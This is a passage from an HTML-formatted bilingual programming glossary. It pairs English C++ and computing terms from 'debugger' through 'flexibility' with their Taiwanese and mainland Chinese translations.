除错&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;调试<br />debugger&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;除错器&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;调试器<br />declaration&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 宣告、宣告式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;声明<br />deduction&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 推导（例：template argument deduction） 推导、推断<br />default&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 预设&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;缺省、默认<br />defer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 延缓&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;推迟<br />definition&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;定义、定义区、定义式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;定义<br />delegate&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;委派、委托、委任&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;委托<br />delegation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（同上）<br />demarshal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 反编列&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;散集<br />dereference&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 提领（取出指标所指物体的内容）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;解叁考<br />dereference operator&nbsp;&nbsp;&nbsp;&nbsp;dereference（提领）运算子 *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 解叁考操作符<br />derived class&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 衍生类别&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;派生类<br />design by contract&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;契约式设计<br />design pattern&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;设计范式、设计样式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;设计模式<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;※ 最近我比较喜欢「设计范式」一词<br />destroy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 摧毁、销毁<br />destructor（dtor）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;解构式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;析构函数<br />device&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;装置、设备&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;设备<br />dialog&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;对话窗、对话盒&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;对话框<br />directive&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 指令（例：using directive）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(编译)指示符<br />directory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 目录&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目录<br />disk&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;碟&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;盘<br />dispatch&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;分派&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;分派<br />distributed computing&nbsp;&nbsp; 分布式计算 (分布式电算)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 分布式计算<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;分散式计算 (分散式电算)<br />document&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;文件&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;文档<br />dot operator&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dot（句点）运算子 .&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (圆)点操作符<br />driver&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;驱动程式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;驱动（程序）<br />dynamic binding&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 动态系结&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;动态绑定<br />efficiency&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;效率&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;效率<br />efficient&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 高效&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;高效<br />end user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;终端用户<br />entity&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;物体&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;实体、物体<br />encapsulation&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 封装&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;封装<br />enclosing class&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 外围类别（与巢状类别 nested class 有关）外围类<br />enum (enumeration)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;列举（一种 C++ 资料型别）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 枚举<br />enumerators&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 列举元（enum 型别中的成员）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 枚举成员、枚举器<br />equal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 相等&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;相等<br />equality&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;相等性&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;相等性<br />equality operator&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; equality（等号）运算子&nbsp;&nbsp;==&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;等号操作符<br />equivalence&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 等价性、等同性、对等性&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;等价性 <br />equivalent&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;等价、等同、对等&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;等价<br />escape code&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 转义码&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;转义码<br />evaluate&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;评估、求值、核定&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;评估<br />event&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 事件&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;事件<br />event driven&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;事件驱动的&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;事件驱动的<br />exception&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 异常情况&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;异常<br />exception declaration&nbsp;&nbsp; 异常宣告（ref. C++ Primer 3/e, 11.3）&nbsp;&nbsp; 异常声明<br />exception handling&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;异常处理、异常处理机制&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;异常处理、异常处理机制<br />exception specification 异常规格（ref. C++ Primer 3/e, 11.4）&nbsp;&nbsp; 异常规范<br />exit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;退离（指离开函式时的那一个执行点）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;退出<br />explicit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;明白的、明显的、显式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;显式<br />export&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;汇出&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;引出、导出<br />expression&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;运算式、算式&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;表达式<br />facility&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;设施、设备&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;设施、设备<br />feature&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 特性<br />field&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 栏位,资料栏（Java）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 字段, 值域（Java）<br />file&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;档案&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;文件<br />firmware&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;韧体&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;固件<br />flag&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;旗标&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;标记<br />flash memory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;快闪记忆体&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;闪存<br />flexibility&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 弹性&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;灵活性&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br 